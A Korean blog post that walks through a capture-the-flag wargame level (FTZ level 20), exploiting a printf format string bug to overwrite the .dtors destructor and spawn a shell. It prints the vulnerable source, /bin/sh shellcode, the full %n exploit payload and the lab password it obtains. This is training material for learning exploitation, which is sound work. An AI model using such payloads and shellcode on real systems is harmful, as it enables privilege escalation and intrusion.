[FTZ] Level 20

Sisyphus·2022년 7월 15일

FTZ

목록 보기
30/30
[level20@ftz level20]$ cat hint

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}   

cat 명령어로 hint를 출력해보면 소스코드가 출력됩니다.
소스코드를 봐보면 전과 다르게 입력을 변수 크기 보다 작게 받아서 버퍼 오버플로우가 발생하지 않습니다.
대신 printf( ) 함수를 봐보면 형식 지정자를 사용하지 않아서 포맷 스트링 오류가 발생합니다.

포멧 스트링 오류로 소멸자를 변조해서 쉘을 띄워보겠습니다.

.dtors: 소멸자로 main( )이 종료 되기 전에 호출돼서 실행됩니다.


먼저 bleh[80] 변수와 printf( ) 함수가 얼마나 떨어져 있나 봐보면

[level20@ftz level20]$ ./attackme 
AAAA %x %x %x %x %x
AAAA 4f 4212ecc0 4207a750 41414141 20782520

12 Byte 떨어져 있습니다.


다음으로 소멸자 주소를 출력해보면

[level20@ftz level20]$ objdump -s -j .dtors attackme 

attackme:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........ 

첫번째 값에 +4한 값이 소멸자 주소가 됩니다.
.dtors: "\x98\x95\x04\x08"


다음으로 환경변수를 설정하고 주소를 출력해보면

[level20@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level20@ftz tmp]$ ./getenv 
Shellcode: 0xbffffc21

0xbffffc21을 10진수로 변환해보면 3,221,224,428로 숫자가 너무 커서 한 번에 주소를 넘길 수 없습니다. 그래서 반씩 쪼개서 소멸자 주소를 덮어쓰겠습니다.


소멸자

"\x98\x95\x04\x08"
"\x98\x95\x04\x08" + 2byte = "\x9a\x95\x04\x08"

환경변수

0xfc21 = 64545 - (4+4+4+4+8+8+8 = 40) = 64505
0xbfff = 49151 - (64505 + 40) = 0x1bfff - 0xfc21 = 50142

이제 익스플로잇 코드를 짜보면

"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64505c%n%50142c%n"

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64505c%n%50142c%n"'; cat) | ./attackme

익스플로잇 코드를 실행시켜보면

[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64505c%n%50142c%n"'; cat) | ./attackme
AAAA˜•AAAAš•      4f4212ecc04207a750    



id
uid=3101(clear) gid=3100(level20) groups=3100(level20)

쉘이 떴습니다.


my-pass 명령어를 입력해보면

my-pass
TERM environment variable not set.

clear Password is "i will come in a minute".
웹에서 등록하세요.

* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

0개의 댓글